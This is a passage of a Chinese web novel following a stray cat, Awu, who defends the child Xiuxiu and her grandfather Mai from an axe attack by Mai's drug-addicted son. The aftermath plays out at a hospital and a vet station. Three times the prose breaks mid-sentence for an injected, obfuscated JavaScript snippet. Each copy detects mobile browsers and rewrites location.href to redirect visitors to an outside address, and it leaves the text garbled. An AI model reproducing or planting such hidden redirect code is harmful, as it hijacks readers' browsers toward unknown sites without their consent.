阿五瞧着她脸上的汗珠和疲惫,听着屋内传来的窸窸窣窣响声。 秀秀还有姐姐呀,真巧,她也有呢。 不过孙悟空是什么? 门后是个还算宽敞的小院子,墙角搭着棚,棚里码着柴火。 院子里有个十几岁的小姑娘,正在掰树枝。 阿五跟在秀秀往里走,迈叔留在最后锁门。 “阿雅姐姐!”秀秀看见小姑娘,像只快乐的小麻雀似的奔到了她身边。 阿雅有些局促站起身:“秀秀,迈叔,你们回来啦?” 她的目光随后就落在了阿五身上,眼睛变得闪闪的,像是星星。 迈叔走进来看见了地上的枯枝,叹了口气:“嗯,回来了,你辛苦了。” 阿雅摇摇头,帮着迈叔将他身后的背篓放在地上,又回身去房里倒了两杯水,一杯给迈叔,一杯给秀秀。 秀秀“咕嘟咕嘟”一口气喝完,奔进房间放好杯子,出来紧紧贴着阿雅,指指阿五:“阿雅姐姐,这是嗷呜!” 迈叔喝完水,弯腰将已经处理好的一摞枯枝抱进了房。 阿雅也想进去帮忙,却被秀秀拉着来到了阿五面前。 迈叔探出头:“你们自己玩啊,晚上吃腊肉。” “好耶!”秀秀蹦了起来,“我最爱吃腊肉!” 阿雅抿着嘴微微笑,颊边还有个小酒窝。 阿五觉得阿雅看起来真像一朵小花,连气味闻着都温柔又可爱,忍不住过去用脑袋蹭了蹭她的腿。 阿雅惊讶:“哎呀,它蹭我,好乖呀。” 秀秀拉着阿雅的手去摸阿五:“阿雅姐姐,你摸摸,毛毛好滑!” “真的哎。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201083|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐你知道我今天怎么遇见它的吗?” “怎么遇见的?” “我不小心抓到了一条蛇,是嗷呜跳出来抓住了蛇!” “啊?秀秀你没事吧?” “没事!” “那就好,它为什么叫嗷呜呢?” “嗷呜告诉我的!” 阿雅摸了阿五,心满意足地去墙边的一只大水缸里舀了一瓢水,倒了一点在手上:“是嘛?嗷呜你渴不渴,喝点水?” 阿五瞧着她,走过去埋头在她的掌心,她的确有点渴了。 阿雅觉得手心有丝丝痒意,忍不住笑了。 秀秀蹲在一旁,有点急:“阿雅姐姐,我也想喂!” 阿五抬起头,舔舔毛嘴巴。 阿雅将手里剩下的水洒在墙边的小草上,起身打开缸盖,又舀了一瓢水,将水倒在秀秀并成小碗似的小手里。 秀秀捧着水,小心翼翼地蹲下身,期待地盯着阿五。 阿五自然也低头舔了几口。 两人一猫玩了没一会,房内飘出香味,勾起了秀秀的馋虫。 秀秀捂着咕咕叫的肚子:“好香呀。” 她眼睛转了转,跑进了房。 阿雅见状,将地上散落的树枝归拢起来,坐在小马扎上继续掰。 秀秀没一会就奔出了屋,她嘴边都是油光,嘴里嚼着腊肉不算,一手还捏着一块,目光扫过院子,冲到了阿雅身边:“姐姐,啊!” 阿雅赶忙张嘴,接过了那片油脂丰厚的腊肉。 秀秀又蹲下身:“嗷呜,啊!” 她也有? 阿五犹豫了一下,到底还是张嘴去接了,却被烫得一激灵,肉落在了地上。 她赶忙低头去拾。 秀秀急了:“哎呀,脏,脏。” 阿雅伸手挡住了小猫,捡起肉用凉水冲了冲,才喂给阿五。 秀秀:“对不起嗷呜,烫到你了。” “喵呜~”阿五嚼着这片咸香的肉,紧贴着秀秀的腿。 不要道歉,这完全没事的呀。 迈叔探头唤道:“吃饭了!” “来啦!”秀秀大声回应。 秀秀跑进了屋里,阿雅低头将柴火抱起来,也进了屋。 阿五踌躇着踱了两步,她不能进去,否则秀秀一定会再喂给她肉的。 此时秀秀冲出了屋,一把将阿五拦腰抱起:“嗷呜快点来。” 屋内窄窄小小的,很闷热。 地上有一个火塘,只有一点余火,上头架着把水壶。 房顶被熏得黑漆漆的,挂着几只篮子,半条腊肉,半条火腿。 迈叔正将桌上盛满菜和饭的碗递给阿雅。 秀秀将阿五放在火塘边:“嗷呜,这是你的饭哦。” 迈叔回头:“秀秀,洗手。” “哎,马上。” 阿五盯着地上的饭碗,惊呆了。 蓝白色的碗小小一只,整整齐齐地码着肉、菜和饭。 这是专门给她的? 阿五抬头望望迈叔。 迈叔和阿雅坐在了小板凳上。 迈叔道:“阿雅,多吃点,桌上还有饭啊。” 阿雅垂着头:“好的迈叔。” 迈叔又低头去瞧阿五:“嗷呜,吃啊。” 真的是她的!阿五凑过去嗅嗅,香味直往鼻子里钻。 双手湿漉漉的秀秀奔了进来,从桌上端起碗,迫不及待地往嘴里扒了几口,这才坐了下来。 “太好吃了!”秀秀嚼吧嚼吧,大声赞美。 阿雅点点头。 阿五到底也还是张了嘴。 特别香。 迈叔和秀秀一边说笑,一边吃饭。阿雅很少插话,只是微笑着听。 燃烧的柴禾发出“噼啪”声,火光明明灭灭地映在众人脸上。 很热,但完全不想走。 阿五摸了摸脖子上的吊坠,心里平静而温暖。 饭后。 迈叔争不过阿雅,只好让她洗碗,自己收拾火塘。 秀秀抱着阿五来到正房,拉亮了电灯。 光线昏黄,远远没有所长房内的亮。 阿五的目光一下就落在了墙上。 这房子的半面墙都贴满了红黄配色的纸,有大的,也有小的,只有上面的字不一样。 这纸的边上还有好几张画像,有黑白的,还有彩色的。 房内有一张方桌,两个柜子,几把椅子。 秀秀放下阿五,去柜子里翻东西。 阿五则跳上凳子,仰头去看画像。 其中一张彩色画像上,既有迈叔,也有秀秀,但没有阿雅。 阿五仔细观察着其中一个高高瘦瘦的年轻男子,怎么有点眼熟呢? “找到啦,三打白骨精!”秀秀举着一本有着毛边的小小书籍,“嗷呜,等阿雅姐姐洗完碗,我们一起看!” 11. 第 11 章 “妖洞深处,凶残的白骨精变化为一个美丽的女子。”① 黄色的炽光灯下,迈叔点了一竹筒水烟慢慢地抽。 秀秀坐在凳子上,挨着阿雅,聚精会神地盯着她手里的小人书。 阿五站在秀秀的腿上,两只爪子扒着阿雅的手臂,也专注地看图听讲。 书上的画栩栩如生,山石树木,白云白马。 穿着虎皮裙的猴子是孙悟空,能直立行走的猪是猪八戒,还有唐僧和沙僧。 直到故事落幕,阿雅要回去睡觉了,阿五才恍然回神。 阿雅站在门边:“迈叔,秀秀,我回去了。” 咦?阿雅竟不是迈叔家的孩子吗,阿五诧异。 秀秀不舍:“阿雅姐姐明天见!” 迈叔关切:“把门锁好啊,晚上不管谁来敲都不准开。” 即使听了无数回这样的话,阿雅依旧如第一回听那样老实地点头:“知道啦迈叔,秀秀嗷呜明天见。” 阿五:“喵呜~” “哎对了。”听见猫叫的迈叔突然想起了什么,叫住阿雅,“阿雅,明天下午要去一趟山上找边所长,你和我们一起去。” “好啊!”阿雅满脸都是惊喜,想也不想就答应了。 “嗯,去吧,小心点。”迈叔不厌其烦。 “好。”阿雅的身影慢慢步入黑暗。 阿五走出门,想要送阿雅回家,这么黑万一碰见坏人怎么办? 只是阿五刚踏出屋门,就见阿雅住了脚,打开了隔壁房子的门。 嗯?邻居? 阿雅进门前,还冲着爷孙两人和阿五招招手,这才关门落锁。 “爷爷,明天我们去山上干什么呀?” 隔壁的灯亮起了。 迈叔道:“你不是想收养嗷呜吗,我们上山去问问行不行。” 秀秀弯腰将阿五抱在了怀里,忸怩道:“不行怎么办?” 迈叔沉吟了一会:“那嗷呜也是你的朋友了,会下山来看你的,对不对嗷呜?” “喵嗷~” 对! 阿五响亮地回答。 我会常常来看你的。 “可是我想每天都和嗷呜在一起!” 秀秀虽然只和阿五相处了一天,可却已经好得分不开了。 “但你马上就要去小学读书了呀,你不在家的时候,嗷呜怎么办?” 秀秀带着哭腔,却努力不让眼泪流出来,倔强道:“嗷呜和我一起去读书!” “喵呜~” 好! 迈叔头疼:“学校不收猫学生的。” …… 夜深了。 阿五睡在垫了好几层毛巾的凳子上,凳子就放在秀秀的床头。 迈叔将秀秀哄睡,又轻轻拍拍还睁着双眼的阿五小脑袋,用气声道:“睡吧,啊。” 说完他就起身,缓缓关上门回了自己的房间。 周围很静,阿五能清晰地听见窗外的虫鸣。 隔壁的迈叔好像有什么心事,在床上翻来覆去好久也没有睡着。 阿五以为她也会睡不着,所长、阿雅、相片上眼熟的男人,阿五有好多问题,但听着秀秀沉沉的呼吸声,她没多久就沉入了梦乡。 派出所。 边星遥和舒瀚海刚从办公楼出来,回宿舍睡觉。 舒瀚海瞧着边星遥紧皱的眉头:“你那猫今晚还没有回来啊?” “哎,没有。”边星遥道,“我猜可能是去找迈叔了。” 舒瀚海诧异:“这怎么搭上的?” 边星遥将早上的插曲告诉了舒瀚海。 “那个小女孩是迈叔孙女吧,我上次去村里的时候见过。”舒瀚海回忆,“迈叔人好,大儿子和大儿媳也很不错。可惜小儿子不成器,真是造孽。” “他儿子不是又送戒毒所去了么?” “但这都送去过多少回了啊?每次都复吸。之前多优秀的一个小伙子,哎。” 边星遥沉默。 舒瀚海也不再多说:“反正小猫要是在迈叔那指定不能出事,你放心好了。” “啧。”舒瀚海又道,“小猫小猫的,你打算什么时候给它取个名字啊。” “它有主人的。” “带着猫吊坠这么明显的特征,找了多少天了都还没找到,大概率是被遗弃了。” 边星遥想了想:“也是,那我再想想吧。” 舒瀚海嘲笑:“取个猫名字这么慎重?一般不就是咪咪,大白,大黄。哦不对,这是只花猫,那花花。” “去你的!”边星遥笑着想捶舒瀚海一拳,“起得什么乱七八糟的。” “哎!打不着!”舒瀚海侧身躲过,“行行行,那你慢慢想吧。反正我们都不跟你抢,你救回来的猫你说了算。” 天际缓缓飘过几朵黑云。 蒙住了天上一轮弯弯的新月。 也遮住了夜空中一颗颗闪烁的星子。 清晨鸡鸣。 隔壁迈叔起了床,响起了踢踢踏踏的脚步声。 秀秀翻了个身,但依旧睡得很熟。 阿五跳下凳子,伸了个长长的懒腰,在昏暗的房间里转了转。 迈叔没有给她留门缝。 她蹲在门下方,思考了一会还是跳回了凳子上躺着。 门她倒是能打开,但估计会吵醒秀秀,还是等等吧。 迈叔进了灶房,倒水声,锅的碰撞声陆续响起。 过了许久,迈叔的脚步声又从隔壁来到了秀秀房门口。 他敲敲门,将门打开一条缝,唤道:“秀秀,秀秀。” 秀秀迷迷糊糊睁开眼,话也含含糊糊:“嗯。” 迈叔道:“起床了,早饭做好了。” “嗯。”秀秀瞧见了床头的阿五,猛地睁大眼,人也精神了,“嗷呜!早!” 门关上,迈叔离开了。 “喵呜~” 秀秀早。 阿五随着拾掇好自己的秀秀来到了灶房。 迈叔这才打开锅盖,热气“咻”地蒸腾上房顶,模糊了他的面庞:“早饭是甜甜的苞谷,秀秀要不要配点稀饭?” “要的!还要一点腐乳。”秀秀神清气爽地跑到锅边,等迈叔给她的苞谷穿上一根筷子,这样就不会被烫到啦。 迈叔将早就盛好的粥先递给秀秀,小半块红红的腐乳半沉在粥里。 他又将另一碗粥放在了阿五眼前:“嗷呜,你也吃。” 虽然粥只有浅浅的一个碗底,但阿五没想到连她也有早饭吃,还是白米粥,受宠若惊。 迈叔又起身去寻筷子,不一会就将散发着热气的苞谷递给了秀秀。 秀秀放下粥碗,举着和脸一样大的苞谷,呼呼地吹气。 阿五舔了几口粥,但又难免好奇地盯着秀秀手里黄澄澄的苞谷看。 是一种没见过,但长得很拥挤的食物呢。 秀秀“斯哈”“斯哈”地忍着烫,掰了几颗苞谷粒放进阿五的粥碗:“嗷呜,你尝尝。” 阿五伸出小舌头,将那几粒苞谷卷进嘴里。 唔,甜丝丝的。 “好吃吗嗷呜。”秀秀也啃了一口。 “喵呜~” 好吃! 迈叔见状,也笑呵呵地剥了一点苞谷放在阿五碗里:“没想到嗷呜不挑食,好猫。” 阿五一听这话,尾巴翘得老高,很快就将粥碗舔干净了。 叩叩叩—— 门被人敲响了。 迈叔咽下嘴里的玉米,起身往外走,大喊:“谁啊?” 秀秀伸长脖子向外看,没有起身。 门外没有回应。 叩叩。 “阿雅?忘带钥匙了?”迈叔咕哝着拔出门上的插销。 阿五舔舔毛嘴巴,回身向外望,心忽地砰砰跳了起来。 “啊!!!” 是迈叔的声音。 阿五如利剑般冲出灶房门,刚进院子就住了脚。 迈叔倒在地上,用手捂着不断渗出鲜血的胸口。 啪—— 粥碗砸在了地上,秀秀也奔了出来。 地上都是血。 迈叔大口喘着气:“秀——跑——” 阿五冲着门外弓身炸毛:“哈!!” 门外的人晃晃悠悠地走进了院内。 手上的斧子沾满了血。 “爷爷!” 秀秀想要跑到迈叔身旁,阿五回身去赶秀秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201084|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不停地用头顶她:“喵!喵!” 别过来,快进屋藏起来! “秀秀?” 瘦得像根麻秆似的男人缓缓转动眼珠,目光落在了秀秀身上,脸上全是亢奋:“我是舅舅啊,秀秀。” 他踩过地上迈叔滚落的帽子,趔趄着逼近秀秀和阿五。 迈叔已然晕厥了过去。 秀秀害怕地看着舅舅,连哭也不敢哭,腿边小猫不断撞着她的腿。 “喵!!” 见秀秀愣在原地,阿五只得调转身子,扑向了男人。 男人不在意地挥动斧子,劈向阿五。 阿五一脚蹬上男人的胸膛,借力往上跳,用尽全力狠狠给了男人脸上一爪。 斧子砸在了地上,男人痛叫着去抓阿五。 这叫声唤回了秀秀的魂。 她大哭着猛地冲进了屋,软着手脚关门:“嗝!嗷呜,呜,进,进来啊!爷爷,呜呜呜,妈妈。” 阿五灵活地闪避着男人的攻击。 男人捉不住阿五,暴跳如雷。听见秀秀的呼唤,他转身就想去拉屋门。 秀秀尖叫着关上门。 阿五挡在门口,恐吓男人:“嗷呜呜!” 男人瑟缩着住了脚,捂着脸庞扭头去拾斧子,嘴里喋喋不休地骂着。 拿到了斧子的男人又有了勇气:“去死吧!” 他抡起斧子去劈阿五,却一斧头劈在了门上。 门后的秀秀抬脸望着头上的斧尖,僵在了原地。 “给老子出来!不听舅舅的话了?” 男人拔出斧子。 “喵!!” 秀秀快跑,别在门后头! 阿五死命挠着门。 男人一脚踢开阿五。 但阿五留意着男人的动作,没被踢实,及时跳开稳住了身体。 还好秀秀将门锁上了,阿五听脚步声,秀秀已经躲进了她的房间。 阿五心中稍稍松了口气,有两道门挡着,能争取一点时间。 她冷冷地盯着眼前这个明显不正常的男人,已想起了他是谁。 雨夜时,磕头的瘦高男子! 没想到他居然和迈叔认识! 阿五担忧的目光划过地上的迈叔,他的呼吸越来越弱了。 门已被劈得支离破碎,男人蛮横地将门板撞开,完全不顾腿边阿五的攻击,闯了进去。 “开门!开门!” “给我开门!” 房内的秀秀已经从大哭变成了呜呜的哽咽声。 阿五已来不及多想,拼命咬着抓着男人。在这混乱中,她还听见门口传来了阿雅的声音。 糟了阿雅! 她可千万别进来! 阿五咬咬牙,在斧头劈进秀秀房门的那一刻,从男人的后背迅速爬了上去,狠狠咬住了男人的耳朵。 男人放开握着斧头的手,发出了惨嚎。 阿五被男人拽着毛,嘴却不松。 阿雅急促的脚步声远去了。 阿五被男人一把贯在了地上。 见男人的脚又踢向自己,阿五不甚灵活地爬起,躲在了桌下,伺机而动。 阿五恶狠狠地盯着男人。 这么久的猎,她阿五可不是白打的! 在这不算宽敞的房内,阿五时不时就跳出来给男人一击。 男人被抓得血迹斑斑,双臂上都是爪痕,脸上耳朵上也都是血迹。 男人忍无可忍,将手边任何能拿到的东西都扔出去砸猫,可都被阿五躲了过去。 他只得回身去取门上的斧子。 阿五没有阻挠。 他应该快没有力气了。 果然男人喘着气拔了半天,都没把斧子拔出来。 阿五却又抓紧机会骚扰了几次男人。 不远处传来了人声。 阿五动动耳朵,不停地叫着:“喵!喵!” 尖利刺耳的猫叫令男人无法忍受,他一使劲,居然拔出了斧子,狠狠劈向了阿五。 阿五也奋力起跳,扑向了男人的脖子。 血喷涌而出。 源源不断的人也涌进了屋。 “梅文?” “你杀了你爸爸?” 12. 第 12 章 两幅担架被急匆匆地抬出了村。 榕树村里没有派出所,众人只好兵分两路。 阿雅带着秀秀一路跟着担架,去了乡里的医院,村长则去乡派出所报案。 秀秀呆滞地望着前方,紧紧将阿五箍在怀里。 医院。 慌乱的脚步声回荡在不大的医院里,秀秀抱着阿五,被人流裹挟着来到了手术室门口。 门在她们眼前被合上,将里和外,隔绝成两个世界。 村民们低头搓搓手上的血,眼神相接,怜悯地望着缩在手术室门口的秀秀。 有护士路过:“小朋友,医院里不可以带猫进来。” 有两位跟来的大娘见秀秀只是垂着头,抱着猫不撒手,无奈地劝道:“秀秀听话啊,我带着猫去门口,你要是不放心,就出来看好不好?” 说着,大娘伸手想将阿五接过来,秀秀却将阿五往怀里一藏,躲开了。 阿五头靠在秀秀的脖颈处安抚着她,即使被勒得有些喘不上气,也没有动。 阿雅擦擦红肿的眼,将护士拉到一旁稍作解释。 阿五温顺地蹭着秀秀:“喵~喵。” 阿雅姐姐在这里陪你呢,我也就在门口,不要害怕呀。 阿五试着动弹,秀秀曲起腿,将头埋进了小猫的怀里。 泪水沾湿了阿五的毛毛。 阿雅回来了,护士没再过来劝。 两位大娘也不再多说,默默在秀秀身旁坐下。 没有人再说话。 几位中年男人抹了把脸,转身离开了手术室。 他们蹲在医院大门处没走,拿出兜里的烟点上,狠狠抽了几口。 流水乡派出所加上所长,拢共五个人。其中两个人一大早就去村里查丢牛案了,根本赶不回来。 一听榕树村发生了如此恶性的案件,李所长当即就要打电话,将情况通报给三江县公安局和流水乡政府。 一边跑去电话旁,李所长一边洪亮地大喊:“文宇宙!” “到!”一个个子不高,皮肤黑黝黝的年轻警员跑了过来。 “文宇宙你先去医院守着!” “是!” 等待竟是如此的漫长和可怖。 手术室的门开了又关,蒙着脸的大夫进进出出。 阿雅和秀秀想上前问问情况,但医生们的脸是那么严肃,脚步又如此匆忙。 她们不敢打扰,只能在心中祈祷。 阿五想,这些医生也像刀医生一样,要将迈叔的胸口和梅文的脖子缝起来吗? 她一点都不想梅文被救活,也完全不后悔当时下的狠手,即使他是迈叔的儿子。 一道目光扫过阿五,落在了秀秀身上。阿五敏锐地抬头,是个不认识的男子。 绿衬衫、绿裤子和绿帽子。 这打扮竟与所长他们相同,与医院里的人全不一样。 阿五想,穿这身衣服的想必就是官府的人了。 文宇宙走近后没有贸然开口,他对上阿雅的视线,局促地搓揉了几下手中的本子,又扶了下帽子,思索再三,坐在了阿雅旁边。 阿五动动鼻子,闻着没有攻击性,那秀秀应暂时不会被带走。 “你们好,我叫文宇宙,是流水乡派出所的民警。” “你是施雅,你是梅秀,对吗?” 文宇宙放低了声音,想尽量让语调显得更温柔一些。 施雅点点头,梅秀没有理他。 对梅秀的回避态度,文宇宙已经有了心理准备。他在门口遇到了榕树村村民,从他们那了解了一些情况。 梅秀还有一个月就七岁了,父母都在沿海城市打工。 梅文是梅迈的小儿子,已有两年的吸毒史,将家里败得一干二净,数次被梅迈送去戒毒所。 文宇宙虽不想再刺激梅秀,可这件事她是关键的目击证人。 他将手里的本子放回包里,余光瞥见了一截猫尾巴:“听说是这只猫保护了梅秀?” 阿五感觉秀秀抱着她的力道又加了三分。 阿雅刚点头,文宇宙却突然起身跑了。 没一会儿,文宇宙又急匆匆地回来了,手里拿着两根红红的棉签,一些棉花球。 “这是碘伏,梅秀,你的猫爪子受伤了,让我帮它清理一下好吗?” 阿五先是被秀秀又往怀里拢了拢,随即被慌乱地放开。 秀秀抖着手捧起阿五糊满了血的爪子,眼泪又涌出了眼眶。 “喵呜~”别哭呀,是梅文的血,只是指甲劈了而已,她没事的呀。 阿五蹭着秀秀,安抚她。 文宇宙目瞪口呆,这是猫还是狗? 村民们嘴里那夸张的话不会是真的吧?还真是这只猫保护了梅秀? 文宇宙小心翼翼地用碘伏擦着阿五的爪子,发现它两只前爪的爪子劈了十之八九,伤得不轻。 他捏着阿五的爪子,迟疑了一会,还是将那句将猫带去兽医站看看的话咽下了肚。 针刺般的疼痛传来,阿五却一脸云淡风轻,爪子都没动两下。 “喵呜~” 没事的秀秀,一点都不严重! 秀秀专心盯着文宇宙的动作。 阿五背靠在秀秀怀里,忽然有一点疑惑,一路上秀秀都没有叫过她的名字,也没出一点声音,这好像有点不太对劲。 她一把将爪子收回来,站在秀秀的腿上,和她脸对着脸。 “喵呜?” 阿五伸爪想去摸秀秀的脖子。 秀秀伸手挡住脖子,瑟缩地避开阿五的目光。 “喵嗷??” 阿雅不解:“秀秀?嗷呜?怎么了?” 文宇宙肃着脸左看右看,抱起梅秀就跑。 阿五被掀下了地,一骨碌爬起来跟上了文宇宙。 施雅站起身,迟疑:“喂!” “医生!!”文宇宙旋风般冲进了诊室,将秀秀安置在凳子上,“麻烦您帮我看看这个小朋友,她好像不能出声了!” 阿雅赶到门口,只觉这句话像是霹雳一般落在了她头上,将她震得头晕目眩。 “啊——” 医生示意秀秀张嘴。 秀秀的喉咙滚动,她无助地张着嘴,但没有一点声音。 医生拿出压舌板,拨亮手电筒照进她的嘴里,查看她的喉部。 “喉咙没有大问题,好好休息,多喝水,嗓子还是能发声的。” 阿五靠在秀秀脚边。 文宇宙急迫地问:“要多久?” 医生沉吟:“不好说,可能一会就能出声,也可能要很久。” 阿雅忍着泪,进来将秀秀抱走了。 刚回到手术室门口,阿五发现又一行和文宇宙一样,穿着绿制服的人,风风火火地向着她们而来。 文宇宙迎了上去,立正行了个礼,回头瞅了眼梅秀和施雅,将这些警察引到了一旁。 阿五竖着耳朵仔细听。 “梅迈和梅文还在手术室没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201085|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,情况暂不清楚。还有个特殊情况汇报,梅秀失声了。” 警察们皱了眉。 文宇宙赶忙接上:“已经看过医生了,医生说梅秀的喉咙没有问题,应当是心理原因导致的失声,但不确定什么时候能讲出话来。” 心理原因?阿五若有所思。 “梅文怎么伤的?李所电话里说什么猫抓的?” “村民们是这么说的。”文宇宙挠头,指了指阿五的方向,“他们亲眼看见是那只花斑猫抓破了梅文的脖子,流了许多血。还好他们去得及时,又有村医在场,做了急救措施止血。” 文宇宙补充:“而且我检查了花斑猫的爪子,它前爪的指甲基本都没了,是经过激烈的搏斗造成的。况且梅文吸毒,皮肤情况本来就很脆弱,我认为村民们说得是真的。” 阿五对上了这些警察审视的视线。 正在此刻,手术室的门打开了。 一张床被推了出来。 阿五惊喜地望着那张床,她闻到了!是迈叔的味道!迈叔没事了? 秀秀站起身冲上前去,眼睛都亮了,是爷爷! 阿雅也露出了如释重负的笑容。 随后另一张床也推了出来。 是被救活的梅文。 阿五想到她已经不再锋利的爪牙,和周围乌泱泱的人群,忍了忍。她追上前挠了下施雅的裤子,转头离开了。 施雅本来还想喊住阿五,可瞥见秀秀专注盯着迈叔的样子,将话咽下了肚。 趁着秀秀的注意力被分散,阿五想,她得离开这里。阿五此前听到了护士和阿雅说的话,她在医院,会耽误病人的诊治。 “迈叔和梅文救活了!” 阿五刚到门口,就听到了这句话。她目光一扫,是刚才的两位大娘在和大叔们分享消息。 “造孽!梅文这个畜生咋个死不掉啊,我瞧他脖子那个血喷得老高,还以为他死定了!” “可不是,吓死人了!也不晓得迈叔从哪里找来的猫。以前没见过啊,凶成这个样子。” 阿五的脚步一顿,往一旁的医院花坛而去,默默藏在了里头。 她摸摸胸口的吊坠,由衷地松了口气。 太好了,迈叔没事就好,这样秀秀的嗓子也一定能恢复的。 “凶归凶,护主啊,比狗都猛,我敢打包票!秀秀没事肯定是那只猫的功劳,你又不是没瞧见梅文身上被抓得全是道道,啧啧啧。” “不是梅迈的猫,听说是森林派出所的猫。” “啊?” 一道穿着绿制服的身影匆忙路过,听见这话立时停住了:“老乡!你们好,刚才听你们说森林派出所的猫,现在这只猫在哪里?” 耳熟的声音! 阿五冲出了花坛。 “喵呜!” 教导员! 阿五从没有觉得舒瀚海出现得如此及时和令猫安心。 不过所长呢?阿五往舒瀚海后头瞧了眼,再没有别人了。 舒瀚海和村民们一愣。 舒瀚海连忙蹲下身将阿五捞在了怀里,见它身上血迹斑斑,眼神里又是震惊又是心疼:“你在这里啊,那就好。” “好了,你在这里不准动,我等会出来带你回去。”舒瀚海将阿五放回地上,起身看向村民,“如果各位老乡暂时不走的话,能不能麻烦你们帮我看下猫?” “放心放心。” “多谢。” 舒瀚海整整衣服下摆,大步流星地进了医院。 13. 第 13 章 阿五老老实实蹲在了医院门口。 两位大娘对视,也跟着冲进了医院,留下几位大叔大眼瞪小眼,不约而同地低头盯着阿五。 阿五起身抖抖毛,伸伸懒腰,旁若无人。 “森林派出所的?” “对啊,那是教导员,我在山里头遇见过。” “他怎么会来,莫不是生病了?不可能这么快听到消息了吧?” “这么大的事,肯定是听到消息了。派出所的猫把人差点挠死,这说出去怎么好听。” 阿五晃悠的尾巴尖一顿。 “哪里不好听?梅文这种人渣就是该死!哪个敢骂派出所和这只猫,老子一定上去骂死他们。” 说话的大叔情绪激动,唾沫星子乱飞。 “……消消气。” “梅文以前多清秀多有前途的一个小伙子,我记得他那个奖状贴满一面墙,沾上毒品之后完全变了个人,迈叔太倒霉了!” 原来那种东西被这里的人叫作毒品吗?雨夜时的场景、所长抓住的人和早上梅文的样子在阿五脑海中交替闪现。 “嗷呜!” 阿雅姐姐? 沉浸在回忆里的阿五抬头,眼前一亮奔了过去:“喵~” 秀秀! 阿五被小跑而来的秀秀抱了个满怀。 阿雅也过来摸了摸阿五的小脑袋。 舒瀚海和警察们紧随其后。 阿五翠绿的眸子扫过他们,这些绿制服的人似乎相互间都认识。 舒瀚海垂眸,见秀秀和小猫难分难舍的模样,半蹲下来:“秀秀,进去陪爷爷吧。等你爷爷一出院,我就带嗷呜来看你们。” 秀秀转过脸,和舒瀚海对视。 “叔叔说的话从来没有不作数的,不信你可以问你的阿雅姐姐。” 秀秀迟疑了,抬头瞧阿雅。 阿雅点头,小脸上全然是信任。 阿五来回打量教导员和阿雅,他们俩也认识? 秀秀不舍地将阿五交还给舒瀚海,又对他指指阿五的爪子。 舒瀚海将它的爪子托在手中一瞧:“好,秀秀放心,我等会就带嗷呜去兽医站。下次你再看到嗷呜,它一定健健康康的,好吗?” 秀秀点头。 阿五伸出爪子,想去触碰秀秀的喉咙:“喵~” 下次见面的时候,秀秀你也要好起来。 现场围观的人看到阿五这个动作,均是一愣。 有几位警察想起梅文的脖子,有些担心,抬手就想去阻止:“哎……” 泪水从秀秀红肿的双眼里滚落,她用力点头。 舒瀚海欣慰地将阿五抱进怀里,摸摸秀秀和阿雅的脑袋:“好了。秀秀,阿雅,下次见。” “多谢你们,老乡,再见。”舒瀚海起身朝大叔们敬礼,又朝一直注视着他们的其他警察敬礼,“再见。” 随后他就转身离开了医院。 阿五攀上教导员的肩膀,依依不舍地往后望,见秀秀往前追了几步,终是停了下来。 舒瀚海将阿五放到副驾驶,大大叹了口气。 阿五甩甩尾巴看着他。 舒瀚海点点阿五脑袋:“你差点给我吓死,你知不知道,人家告诉我说你把别人脖子咬断了。” “???” 阿五一僵,又故作无事地挺起胸膛。 她倒是想! 但那个坏蛋还不是被救回来了! “不过你也不愧是我们派出所的猫!”舒瀚海启动汽车,驶向兽医站,“森林派出所警猫,拼尽全力和吸毒人员搏斗,救下无辜群众!” 阿五瞄了瞄教导员,见他真没有责怪她的意思,这才略微放松地趴在了坐垫上。 兽医站内又是熟人。 刀医生放下手里的书,盯着阿五:“又是你。” 舒瀚海道:“刀医生,辛苦了。爪子打架受伤了,身上不知道有没有伤口。” 刀医生接过阿五:“哎,又秃了。” 阿五焉头耷脑地回身瞧了眼,果然斑秃了。 想起罪魁祸首还活着,阿五的双眼冒出了火。 刀医生又掰开阿五的嘴:“牙齿都掉了。” 舒瀚海大惊:“啊?那还能长出来吗,影响吃饭吗?” 刀医生凑近仔细瞧,又抬起阿五的爪子:“不碍事,乳牙,本来也已经在换牙期了。” “这就好。” 最终阿五的爪子被裹成了球。 一时间阿五感觉她又回到了刚变成猫醒来的时刻,又不会使用她的四肢了。 舒瀚海瞧着在桌子上站着,一动不敢动的小猫,咬牙嘀咕:“那杀千刀的。” 临别前,刀医生将舒瀚海和阿五送到了门口,叮嘱:“好好养伤,别再打架了。” 阿五垂着耳朵:“喵呜~” 她会争取将爪子磨得再锋利些的! 等舒瀚海和阿五回了所里,已然是夕阳西下。 舒瀚海抱着阿五径直去了边星遥房间。 门开着,边星遥背对着门,正在和屋里人说话。 